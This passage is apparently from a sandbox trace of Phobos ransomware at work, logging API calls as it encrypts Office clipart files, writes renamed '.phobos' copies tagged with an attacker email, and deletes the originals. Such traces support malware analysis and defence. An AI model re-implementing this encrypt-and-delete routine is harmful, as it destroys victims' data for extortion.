hTemplateFile=0x0) returned 0x328 [0057.719] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc8d0) returned 1 [0057.719] CryptSetKeyParam (hKey=0x10dc8d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.719] ReadFile (in: hFile=0x310, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x2a50, lpOverlapped=0x0) returned 1 [0057.737] CryptEncrypt (in: hKey=0x10dc8d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2a60, dwBufLen=0x2a60 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x2a60) returned 1 [0057.737] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x2a60, lpOverlapped=0x0) returned 1 [0057.738] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcc50) returned 1 [0057.738] CryptSetKeyParam (hKey=0x10dcc50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.738] CryptEncrypt (in: hKey=0x10dcc50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.738] CryptDestroyKey (hKey=0x10dcc50) returned 1 [0057.738] WriteFile (in: hFile=0x328, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.738] CryptDestroyKey (hKey=0x10dc8d0) returned 1 [0057.738] CloseHandle (hObject=0x310) returned 1 [0057.738] CloseHandle (hObject=0x328) returned 1 [0057.738] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0057.739] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.740] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=7072) returned 1 [0057.740] CloseHandle (hObject=0x328) returned 1 [0057.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 0x220 [0057.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.740] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.740] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.740] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0057.740] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0057.740] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.740] ReadFile (in: hFile=0x328, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1ba0, lpOverlapped=0x0) returned 1 [0057.755] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1bb0, dwBufLen=0x1bb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1bb0) returned 1 [0057.755] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1bb0, lpOverlapped=0x0) returned 1 [0057.756] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0057.756] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.756] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.756] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.756] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.756] CryptDestroyKey (hKey=0x10dca50) returned 1 [0057.756] CloseHandle (hObject=0x328) returned 1 [0057.757] CloseHandle (hObject=0x310) returned 1 [0057.757] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00965_.wmf")) returned 1 [0057.758] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.770] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1596) returned 1 [0057.770] CloseHandle (hObject=0x330) returned 1 [0057.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220 [0057.772] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.773] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.773] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.773] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.776] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc890) returned 1 [0057.776] CryptSetKeyParam (hKey=0x10dc890, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.776] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x63c, lpOverlapped=0x0) returned 1 [0057.884] CryptEncrypt (in: hKey=0x10dc890, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x640, dwBufLen=0x640 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x640) returned 1 [0057.884] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x640, lpOverlapped=0x0) returned 1 [0057.885] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb10) returned 1 [0057.885] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.885] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.885] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0057.885] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.885] CryptDestroyKey (hKey=0x10dc890) returned 1 [0057.885] CloseHandle (hObject=0x330) returned 1 [0057.885] CloseHandle (hObject=0x2fc) returned 1 [0057.886] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1 [0057.887] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.889] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=26332) returned 1 [0057.889] CloseHandle (hObject=0x2fc) returned 1 [0057.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0057.889] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.889] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.889] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.889] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.890] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0057.890] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.890] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x66dc, lpOverlapped=0x0) returned 1 [0057.989] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x66e0, dwBufLen=0x66e0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x66e0) returned 1 [0057.990] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x66e0, lpOverlapped=0x0) returned 1 [0057.991] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0057.991] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.991] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0057.991] CryptDestroyKey (hKey=0x10dc790) returned 1 [0057.991] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0057.991] CryptDestroyKey (hKey=0x10dc750) returned 1 [0057.991] CloseHandle (hObject=0x2fc) returned 1 [0057.991] CloseHandle (hObject=0x330) returned 1 [0057.992] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0057.993] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0057.993] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.994] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=27858) returned 1 [0057.994] CloseHandle (hObject=0x330) returned 1 [0057.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 0x220 [0057.994] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0057.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0057.994] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.994] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0057.994] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0057.994] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dca50) returned 1 [0057.994] CryptSetKeyParam (hKey=0x10dca50, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0057.994] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x6cd2, lpOverlapped=0x0) returned 1 [0058.030] CryptEncrypt (in: hKey=0x10dca50, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6ce0, dwBufLen=0x6ce0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6ce0) returned 1 [0058.030] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x6ce0, lpOverlapped=0x0) returned 1 [0058.031] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc810) returned 1 [0058.031] CryptSetKeyParam (hKey=0x10dc810, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.031] CryptEncrypt (in: hKey=0x10dc810, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.031] CryptDestroyKey (hKey=0x10dc810) returned 1 [0058.031] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.031] CryptDestroyKey (hKey=0x10dca50) returned 1 [0058.031] CloseHandle (hObject=0x330) returned 1 [0058.031] CloseHandle (hObject=0x2fc) returned 1 [0058.036] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0058.037] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.037] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=3746) returned 1 [0058.037] CloseHandle (hObject=0x2fc) returned 1 [0058.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 0x220 [0058.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0058.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0058.038] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.038] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0058.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0058.038] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0058.038] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.038] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xea2, lpOverlapped=0x0) returned 1 [0058.077] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeb0, dwBufLen=0xeb0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xeb0) returned 1 [0058.077] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xeb0, lpOverlapped=0x0) returned 1 [0058.077] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0058.077] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0058.078] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0058.078] CryptDestroyKey (hKey=0x10dc690) returned 1 [0058.078] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0058.078] CryptDestroyKey (hKey=0x10dc750) returned 1 [0058.078] CloseHandle (hObject=0x2fc) returned 1 [0058.078] CloseHandle (hObject=0x330) returned 1 [0058.078] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0058.079] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0058.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft 